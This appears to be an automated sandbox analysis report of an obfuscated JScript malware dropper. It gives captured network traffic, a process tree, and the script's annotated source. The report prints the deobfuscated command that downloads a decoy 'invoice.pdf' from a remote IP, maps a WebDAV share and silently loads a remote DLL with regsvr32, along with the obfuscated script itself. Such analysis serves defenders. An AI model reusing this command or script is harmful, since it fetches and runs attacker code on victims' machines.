Jan 11, 2025 05:41:15.906626940 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 05:41:15.906702995 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 05:41:15.906713963 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 05:41:15.911295891 CET	376	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49707	193.143.1.205	8888	7768	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:41:18.018282890 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 05:41:18.803530931 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:41:18 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	23:41:11
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8708187442773418429.js"
Imagebase:	0x7ff660330000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:41:11
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll
Imagebase:	0x7ff642a40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:41:11
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:41:11
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:41:16
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	23:41:16
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff642a40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:41:16
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7571c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:41:17
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	23:41:17
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	23:41:17
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1620,i,10431413393714387235,15800599284807576028,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function cqyqqex() {	cqyqqex() ➔ undefined
1	rwdfi = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var swuuua = this[nolyw + kuvxpodgd + qnqutr + rohpsqz + bmksfx + hxzxps + cdkmnbwmi + butppogox] ( this[xsnoxg + mmnvv + yqajeychc + qnqutr + ksfmmp + nolyw + butppogox][mhqxtznui + qnqutr + bmksfx + kuvxpodgd + butppogox + bmksfx + tjxca + vuvgquel + kgfvg + bmksfx + yqajeychc + butppogox] ( xsnoxg + mmnvv + yqajeychc + qnqutr + ksfmmp + nolyw + butppogox + ueswqr + mmnvv + zzgxvq + bmksfx + vdaxgltwh + vdaxgltwh ) [pehqqqkcz + bmksfx + vfools + pehqqqkcz + bmksfx + kuvxpodgd + eiscptyy] ( luacib + lczbtl + ruhjtiu + dbgjjdv + fwzlubj + mhqxtznui + sylyjha + pehqqqkcz + pehqqqkcz + ruhjtiu + cnxfdbsa + uopvhmkl + fwzlubj + sylyjha + mmnvv + ruhjtiu + pehqqqkcz + vkrwkdnl + mhqxtznui + vaogeg + cdkmnbwmi + butppogox + qnqutr + vaogeg + vdaxgltwh + nwyhyuxf + mleyjggl + kuvxpodgd + cdkmnbwmi + bmksfx + vdaxgltwh + vkrwkdnl + hxzxps + cdkmnbwmi + butppogox + bmksfx + qnqutr + cdkmnbwmi + kuvxpodgd + butppogox + ksfmmp + vaogeg + cdkmnbwmi + kuvxpodgd + vdaxgltwh + vkrwkdnl + uwuausf + vaogeg + yqajeychc + kuvxpodgd + vdaxgltwh + bmksfx ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ufsgwvkjn = 0 ; ufsgwvkjn < rwdfi[vdaxgltwh + bmksfx + cdkmnbwmi + vfools + butppogox + zzgxvq] ; ++ ufsgwvkjn )
4	{
5	if ( swuuua == rwdfi[ufsgwvkjn] )
6	{
7	swuuua = true;
8	break ;
9	}
10	}
11	if ( swuuua !== true )
12	this[xsnoxg + mmnvv + yqajeychc + qnqutr + ksfmmp + nolyw + butppogox][eajbkb + ldmhtnzbb + ksfmmp + butppogox] ( );
13	this[xsnoxg + mmnvv + yqajeychc + qnqutr + ksfmmp + nolyw + butppogox][mhqxtznui + qnqutr + bmksfx + kuvxpodgd + butppogox + bmksfx + tjxca + vuvgquel + kgfvg + bmksfx + yqajeychc + butppogox] ( xsnoxg + mmnvv + yqajeychc + qnqutr + ksfmmp + nolyw + butppogox + ueswqr + mmnvv + zzgxvq + bmksfx + vdaxgltwh + vdaxgltwh ) [qnqutr + ldmhtnzbb + cdkmnbwmi] ( yqajeychc + srqdsv + eiscptyy + nwyhyuxf + gowhvhn + yqajeychc + nwyhyuxf + nolyw + vaogeg + zswlleb + bmksfx + qnqutr + rohpsqz + zzgxvq + bmksfx + vdaxgltwh + vdaxgltwh + ueswqr + bmksfx + myuafy + bmksfx + nwyhyuxf + vwjbvygwo + mhqxtznui + vaogeg + srqdsv + srqdsv + kuvxpodgd + cdkmnbwmi + eiscptyy + nwyhyuxf + ltismet + hxzxps + cdkmnbwmi + shsfzy + vaogeg + sbhayuis + bmksfx + vwjbvygwo + xsnoxg + bmksfx + vuvgquel + pehqqqkcz + bmksfx + hgckuj + ldmhtnzbb + bmksfx + rohpsqz + butppogox + nwyhyuxf + vwjbvygwo + tjxca + ldmhtnzbb + butppogox + hpgkk + ksfmmp + vdaxgltwh + bmksfx + nwyhyuxf + zuegmxe + butppogox + bmksfx + srqdsv + nolyw + zuegmxe + vkrwkdnl + ksfmmp + cdkmnbwmi + shsfzy + vaogeg + ksfmmp + yqajeychc + bmksfx + ueswqr + nolyw + eiscptyy + pbtiyrx + nwyhyuxf + zzgxvq + butppogox + butppogox + nolyw + dugta + gowhvhn + gowhvhn + pxzwxu + hwwradd + fqnea + ueswqr + pxzwxu + vqffqjllh + fqnea + ueswqr + pxzwxu + ueswqr + itdhwkya + dyxyjmpf + higob + gowhvhn + ksfmmp + cdkmnbwmi + shsfzy + vaogeg + ksfmmp + yqajeychc + bmksfx + ueswqr + nolyw + zzgxvq + nolyw + ltismet + zwkwqgxz + zwkwqgxz + rohpsqz + butppogox + kuvxpodgd + qnqutr + butppogox + nwyhyuxf + zuegmxe + butppogox + bmksfx + srqdsv + nolyw + zuegmxe + vkrwkdnl + ksfmmp + cdkmnbwmi + shsfzy + vaogeg + ksfmmp + yqajeychc + bmksfx + ueswqr + nolyw + eiscptyy + pbtiyrx + zwkwqgxz + zwkwqgxz + yqajeychc + srqdsv + eiscptyy + nwyhyuxf + gowhvhn + yqajeychc + nwyhyuxf + cdkmnbwmi + bmksfx + butppogox + nwyhyuxf + ldmhtnzbb + rohpsqz + bmksfx + nwyhyuxf + vkrwkdnl + vkrwkdnl + pxzwxu + hwwradd + fqnea + ueswqr + pxzwxu + vqffqjllh + fqnea + ueswqr + pxzwxu + ueswqr + itdhwkya + dyxyjmpf + higob + exzdziwxs + xrxoo + xrxoo + xrxoo + xrxoo + vkrwkdnl + eiscptyy + kuvxpodgd + shsfzy + zswlleb + zswlleb + zswlleb + qnqutr + vaogeg + vaogeg + butppogox + vkrwkdnl + zwkwqgxz + zwkwqgxz + yqajeychc + srqdsv + eiscptyy + nwyhyuxf + gowhvhn + yqajeychc + nwyhyuxf + qnqutr + bmksfx + vfools + rohpsqz + shsfzy + qnqutr + fqnea + itdhwkya + nwyhyuxf + gowhvhn + rohpsqz + nwyhyuxf + vkrwkdnl + vkrwkdnl + pxzwxu + hwwradd + fqnea + ueswqr + pxzwxu + vqffqjllh + fqnea + ueswqr + pxzwxu + ueswqr + itdhwkya + dyxyjmpf + higob + exzdziwxs + xrxoo + xrxoo + xrxoo + xrxoo + vkrwkdnl + eiscptyy + kuvxpodgd + shsfzy + zswlleb + zswlleb + zswlleb + qnqutr + vaogeg + vaogeg + butppogox + vkrwkdnl + pmfct + hwwradd + fqnea + pxzwxu + fqnea + pxzwxu + pmfct + thuag + itdhwkya + pmfct + vqffqjllh + fqnea + fqnea + ueswqr + eiscptyy + vdaxgltwh + vdaxgltwh, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll",0,false) ➔ 0
14	}
15	gowhvhn = "n";
16	gowhvhn = "t";
17	gowhvhn = "A";
18	gowhvhn = "u";
19	gowhvhn = "U";
20	gowhvhn = "y";
21	gowhvhn = "f";
22	gowhvhn = "P";
23	gowhvhn = "e";
24	gowhvhn = "W";
25	gowhvhn = "t";
26	gowhvhn = "u";
27	gowhvhn = "O";
28	gowhvhn = "m";
29	gowhvhn = "v";
30	gowhvhn = "p";
31	gowhvhn = "Y";
32	gowhvhn = "/";
33	hwwradd = "N";
34	hwwradd = "z";
35	hwwradd = "Q";
36	hwwradd = "I";
37	hwwradd = "Z";
38	hwwradd = "c";
39	hwwradd = "f";
40	hwwradd = "B";
41	hwwradd = "J";
42	hwwradd = "U";
43	hwwradd = "T";
44	hwwradd = "t";
45	hwwradd = "E";
46	hwwradd = "i";
47	hwwradd = "V";
48	hwwradd = "b";
49	hwwradd = "I";
50	hwwradd = "u";
51	hwwradd = "J";
52	hwwradd = "Q";
53	hwwradd = "Y";
54	hwwradd = "c";
55	hwwradd = "Q";
56	hwwradd = "s";
57	hwwradd = "m";
58	hwwradd = "r";
59	hwwradd = "I";
60	hwwradd = "K";
61	hwwradd = "k";
62	hwwradd = "x";
63	hwwradd = "a";
64	hwwradd = "Y";
65	hwwradd = "e";
66	hwwradd = "i";
67	hwwradd = "u";
68	hwwradd = "J";
69	hwwradd = "M";
70	hwwradd = "h";
71	hwwradd = "B";
72	hwwradd = "A";
73	hwwradd = "b";
74	hwwradd = "p";
75	hwwradd = "9";
76	zzgxvq = "Y";
77	zzgxvq = "f";
78	zzgxvq = "z";
79	zzgxvq = "o";
80	zzgxvq = "r";
81	zzgxvq = "G";
82	zzgxvq = "m";
83	zzgxvq = "W";
84	zzgxvq = "Y";
85	zzgxvq = "G";
86	zzgxvq = "J";
87	zzgxvq = "n";
88	zzgxvq = "r";
89	zzgxvq = "T";
90	zzgxvq = "U";
91	zzgxvq = "g";
92	zzgxvq = "i";
93	zzgxvq = "c";
94	zzgxvq = "s";
95	zzgxvq = "N";
96	zzgxvq = "j";
97	zzgxvq = "G";
98	zzgxvq = "E";
99	zzgxvq = "G";
100	zzgxvq = "A";
101	zzgxvq = "Y";
102	zzgxvq = "I";
103	zzgxvq = "F";
104	zzgxvq = "t";
105	zzgxvq = "k";
106	zzgxvq = "g";
107	zzgxvq = "j";
108	zzgxvq = "L";
109	zzgxvq = "B";
110	zzgxvq = "c";
111	zzgxvq = "A";
112	zzgxvq = "Y";
113	zzgxvq = "K";
114	zzgxvq = "c";
115	zzgxvq = "u";
116	zzgxvq = "o";
117	zzgxvq = "h";
118	ksfmmp = "u";
119	ksfmmp = "F";
120	ksfmmp = "c";
121	ksfmmp = "t";
122	ksfmmp = "h";
123	ksfmmp = "e";
124	ksfmmp = "Q";
125	ksfmmp = "X";
126	ksfmmp = "e";
127	ksfmmp = "F";
128	ksfmmp = "Z";
129	ksfmmp = "n";
130	ksfmmp = "V";
131	ksfmmp = "S";
132	ksfmmp = "k";
133	ksfmmp = "e";
134	ksfmmp = "S";
135	ksfmmp = "z";
136	ksfmmp = "i";
137	rohpsqz = "M";
138	rohpsqz = "k";
139	rohpsqz = "B";
140	rohpsqz = "G";
141	rohpsqz = "C";
142	rohpsqz = "F";
143	rohpsqz = "p";
144	rohpsqz = "i";
145	rohpsqz = "t";
146	rohpsqz = "Y";
147	rohpsqz = "q";
148	rohpsqz = "o";
149	rohpsqz = "k";
150	rohpsqz = "L";
151	rohpsqz = "y";
152	rohpsqz = "f";
153	rohpsqz = "j";
154	rohpsqz = "U";
155	rohpsqz = "F";
156	rohpsqz = "u";
157	rohpsqz = "g";
158	rohpsqz = "m";
159	rohpsqz = "J";
160	rohpsqz = "i";
161	rohpsqz = "s";
162	vdaxgltwh = "E";
163	vdaxgltwh = "B";
164	vdaxgltwh = "v";
165	vdaxgltwh = "q";
166	vdaxgltwh = "H";
167	vdaxgltwh = "S";
168	vdaxgltwh = "J";
169	vdaxgltwh = "t";
170	vdaxgltwh = "S";
171	vdaxgltwh = "F";
172	vdaxgltwh = "G";
173	vdaxgltwh = "R";
174	vdaxgltwh = "r";
175	vdaxgltwh = "B";
176	vdaxgltwh = "J";
177	vdaxgltwh = "o";
178	vdaxgltwh = "s";
179	vdaxgltwh = "Z";
180	vdaxgltwh = "j";
181	vdaxgltwh = "S";
182	vdaxgltwh = "o";
183	vdaxgltwh = "X";
184	vdaxgltwh = "B";
185	vdaxgltwh = "P";
186	vdaxgltwh = "A";
187	vdaxgltwh = "p";
188	vdaxgltwh = "v";
189	vdaxgltwh = "V";
190	vdaxgltwh = "j";
191	vdaxgltwh = "K";
192	vdaxgltwh = "v";
193	vdaxgltwh = "A";
194	vdaxgltwh = "w";
195	vdaxgltwh = "v";
196	vdaxgltwh = "K";
197	vdaxgltwh = "P";
198	vdaxgltwh = "E";
199	vdaxgltwh = "M";
200	vdaxgltwh = "m";
201	vdaxgltwh = "l";
202	qnqutr = "X";
203	qnqutr = "V";
204	qnqutr = "u";
205	qnqutr = "B";
206	qnqutr = "K";
207	qnqutr = "R";
208	qnqutr = "o";
209	qnqutr = "w";
210	qnqutr = "S";
211	qnqutr = "m";
212	qnqutr = "e";
213	qnqutr = "J";
214	qnqutr = "N";
215	qnqutr = "r";
216	hgckuj = "V";
217	hgckuj = "o";
218	hgckuj = "e";
219	hgckuj = "q";
220	ltismet = "V";
221	ltismet = "j";
222	ltismet = "I";
223	ltismet = "N";
224	ltismet = "O";
225	ltismet = "M";
226	ltismet = "H";
227	ltismet = "W";
228	ltismet = "r";
229	ltismet = "t";
230	ltismet = "e";
231	ltismet = "n";
232	ltismet = "C";
233	ltismet = "v";
234	ltismet = "e";
235	ltismet = "H";
236	ltismet = "l";
237	ltismet = "S";
238	ltismet = "f";
239	ltismet = "K";
240	ltismet = "P";
241	ltismet = "N";
242	ltismet = "e";
243	ltismet = "L";
244	ltismet = "K";
245	ltismet = "r";
246	ltismet = "f";
247	ltismet = "q";
248	ltismet = "k";
249	ltismet = "x";
250	ltismet = "d";
251	ltismet = "l";
252	ltismet = "p";
253	ltismet = "O";
254	ltismet = "N";
255	ltismet = "s";
256	ltismet = "X";
257	ltismet = "Z";
258	ltismet = "w";
259	ltismet = "z";
260	ltismet = "j";
261	ltismet = "\"";
262	pxzwxu = "x";
263	pxzwxu = "r";
264	pxzwxu = "z";
265	pxzwxu = "M";
266	pxzwxu = "r";
267	pxzwxu = "A";
268	pxzwxu = "b";
269	pxzwxu = "T";
270	pxzwxu = "H";
271	pxzwxu = "b";
272	pxzwxu = "t";
273	pxzwxu = "O";
274	pxzwxu = "K";
275	pxzwxu = "g";
276	pxzwxu = "V";
277	pxzwxu = "E";
278	pxzwxu = "w";
279	pxzwxu = "b";
280	pxzwxu = "N";
281	pxzwxu = "v";
282	pxzwxu = "1";
283	xrxoo = "Z";
284	xrxoo = "O";
285	xrxoo = "q";
286	xrxoo = "W";
287	xrxoo = "F";
288	xrxoo = "x";
289	xrxoo = "o";
290	xrxoo = "K";
291	xrxoo = "G";
292	xrxoo = "b";
293	xrxoo = "M";
294	xrxoo = "T";
295	xrxoo = "U";
296	xrxoo = "t";
297	xrxoo = "a";
298	xrxoo = "I";
299	xrxoo = "K";
300	xrxoo = "t";
301	xrxoo = "G";
302	xrxoo = "C";
303	xrxoo = "N";
304	xrxoo = "a";
305	xrxoo = "8";
306	zswlleb = "o";
307	zswlleb = "o";
308	zswlleb = "K";
309	zswlleb = "D";
310	zswlleb = "O";
311	zswlleb = "k";
312	zswlleb = "w";
313	zswlleb = "Q";
314	zswlleb = "o";
315	zswlleb = "J";
316	zswlleb = "H";
317	zswlleb = "f";
318	zswlleb = "s";
319	zswlleb = "y";
320	zswlleb = "t";
321	zswlleb = "E";
322	zswlleb = "s";
323	zswlleb = "C";
324	zswlleb = "H";
325	zswlleb = "X";
326	zswlleb = "P";
327	zswlleb = "X";
328	zswlleb = "P";
329	zswlleb = "c";
330	zswlleb = "p";
331	zswlleb = "H";
332	zswlleb = "B";
333	zswlleb = "j";
334	zswlleb = "d";
335	zswlleb = "r";
336	zswlleb = "Z";
337	zswlleb = "i";
338	zswlleb = "i";
339	zswlleb = "p";
340	zswlleb = "x";
341	zswlleb = "w";
342	srqdsv = "c";
343	srqdsv = "X";
344	srqdsv = "a";
345	srqdsv = "q";
346	srqdsv = "z";
347	srqdsv = "p";
348	srqdsv = "H";
349	srqdsv = "l";
350	srqdsv = "l";
351	srqdsv = "K";
352	srqdsv = "Y";
353	srqdsv = "l";
354	srqdsv = "z";
355	srqdsv = "M";
356	srqdsv = "k";
357	srqdsv = "l";
358	srqdsv = "G";
359	srqdsv = "Q";
360	srqdsv = "t";
361	srqdsv = "G";
362	srqdsv = "k";
363	srqdsv = "x";
364	srqdsv = "Y";
365	srqdsv = "m";
366	srqdsv = "g";
367	srqdsv = "T";
368	srqdsv = "C";
369	srqdsv = "m";
370	sbhayuis = "C";
371	sbhayuis = "f";
372	sbhayuis = "q";
373	sbhayuis = "g";
374	sbhayuis = "T";
375	sbhayuis = "V";
376	sbhayuis = "T";
377	sbhayuis = "B";
378	sbhayuis = "d";
379	sbhayuis = "i";
380	sbhayuis = "d";
381	sbhayuis = "i";
382	sbhayuis = "W";
383	sbhayuis = "c";
384	sbhayuis = "w";
385	sbhayuis = "t";
386	sbhayuis = "i";
387	sbhayuis = "F";
388	sbhayuis = "a";
389	sbhayuis = "j";
390	sbhayuis = "x";
391	sbhayuis = "F";
392	sbhayuis = "i";
393	sbhayuis = "Q";
394	sbhayuis = "A";
395	sbhayuis = "t";
396	sbhayuis = "b";
397	sbhayuis = "O";
398	sbhayuis = "N";
399	sbhayuis = "f";
400	sbhayuis = "u";
401	sbhayuis = "u";
402	sbhayuis = "s";
403	sbhayuis = "k";
404	uwuausf = "w";
405	uwuausf = "W";
406	uwuausf = "G";
407	uwuausf = "O";
408	uwuausf = "f";
409	uwuausf = "D";
410	uwuausf = "d";
411	uwuausf = "z";
412	uwuausf = "Q";
413	uwuausf = "O";
414	uwuausf = "x";
415	uwuausf = "y";
416	uwuausf = "Y";
417	uwuausf = "K";
418	uwuausf = "k";
419	uwuausf = "d";
420	uwuausf = "K";
421	uwuausf = "x";
422	uwuausf = "R";
423	uwuausf = "K";
424	uwuausf = "H";
425	uwuausf = "e";
426	uwuausf = "E";
427	uwuausf = "W";
428	uwuausf = "j";
429	uwuausf = "J";
430	uwuausf = "E";
431	uwuausf = "v";
432	uwuausf = "f";
433	uwuausf = "h";
434	uwuausf = "o";
435	uwuausf = "T";
436	uwuausf = "L";
437	mhqxtznui = "x";
438	mhqxtznui = "u";
439	mhqxtznui = "R";
440	mhqxtznui = "o";
441	mhqxtznui = "C";
442	mhqxtznui = "p";
443	mhqxtznui = "M";
444	mhqxtznui = "y";
445	mhqxtznui = "f";
446	mhqxtznui = "f";
447	mhqxtznui = "o";
448	mhqxtznui = "L";
449	mhqxtznui = "q";
450	mhqxtznui = "g";
451	mhqxtznui = "Q";
452	mhqxtznui = "J";
453	mhqxtznui = "E";
454	mhqxtznui = "m";
455	mhqxtznui = "a";
456	mhqxtznui = "E";
457	mhqxtznui = "M";
458	mhqxtznui = "j";
459	mhqxtznui = "P";
460	mhqxtznui = "g";
461	mhqxtznui = "O";
462	mhqxtznui = "C";
463	higob = "c";
464	higob = "a";
465	higob = "y";
466	higob = "Y";
467	higob = "o";
468	higob = "i";
469	higob = "G";
470	higob = "v";
471	higob = "E";
472	higob = "W";
473	higob = "f";
474	higob = "F";
475	higob = "u";
476	higob = "E";
477	higob = "S";
478	higob = "M";
479	higob = "S";
480	higob = "c";
481	higob = "N";
482	higob = "V";
483	higob = "5";
484	dyxyjmpf = "m";
485	dyxyjmpf = "B";
486	dyxyjmpf = "p";
487	dyxyjmpf = "x";
488	dyxyjmpf = "S";
489	dyxyjmpf = "s";
490	dyxyjmpf = "H";
491	dyxyjmpf = "w";
492	dyxyjmpf = "h";
493	dyxyjmpf = "u";
494	dyxyjmpf = "X";
495	dyxyjmpf = "b";
496	dyxyjmpf = "I";
497	dyxyjmpf = "b";
498	dyxyjmpf = "0";
499	vwjbvygwo = "S";
500	vwjbvygwo = "s";
501	vwjbvygwo = "p";
502	vwjbvygwo = "C";
503	vwjbvygwo = "h";
504	vwjbvygwo = "d";
505	vwjbvygwo = "W";
506	vwjbvygwo = "S";
507	vwjbvygwo = "w";
508	vwjbvygwo = "H";
509	vwjbvygwo = "N";
510	vwjbvygwo = "b";
511	vwjbvygwo = "P";
512	vwjbvygwo = "W";
513	vwjbvygwo = "L";
514	vwjbvygwo = "W";
515	vwjbvygwo = "X";
516	vwjbvygwo = "r";
517	vwjbvygwo = "Y";
518	vwjbvygwo = "W";
519	vwjbvygwo = "n";
520	vwjbvygwo = "s";
521	vwjbvygwo = "K";
522	vwjbvygwo = "D";
523	vwjbvygwo = "J";
524	vwjbvygwo = "h";
525	vwjbvygwo = "s";
526	vwjbvygwo = "-";
527	mmnvv = "X";
528	mmnvv = "o";
529	mmnvv = "q";
530	mmnvv = "y";
531	mmnvv = "n";
532	mmnvv = "O";
533	mmnvv = "w";
534	mmnvv = "F";
535	mmnvv = "H";
536	mmnvv = "R";
537	mmnvv = "L";
538	mmnvv = "v";
539	mmnvv = "k";
540	mmnvv = "u";
541	mmnvv = "S";
542	vkrwkdnl = "v";
543	vkrwkdnl = "Q";
544	vkrwkdnl = "z";
545	vkrwkdnl = "X";
546	vkrwkdnl = "E";
547	vkrwkdnl = "H";
548	vkrwkdnl = "v";
549	vkrwkdnl = "B";
550	vkrwkdnl = "O";
551	vkrwkdnl = "d";
552	vkrwkdnl = "L";
553	vkrwkdnl = "t";
554	vkrwkdnl = "S";
555	vkrwkdnl = "u";
556	vkrwkdnl = "c";
557	vkrwkdnl = "w";
558	vkrwkdnl = "K";
559	vkrwkdnl = "k";
560	vkrwkdnl = "t";
561	vkrwkdnl = "t";
562	vkrwkdnl = "R";
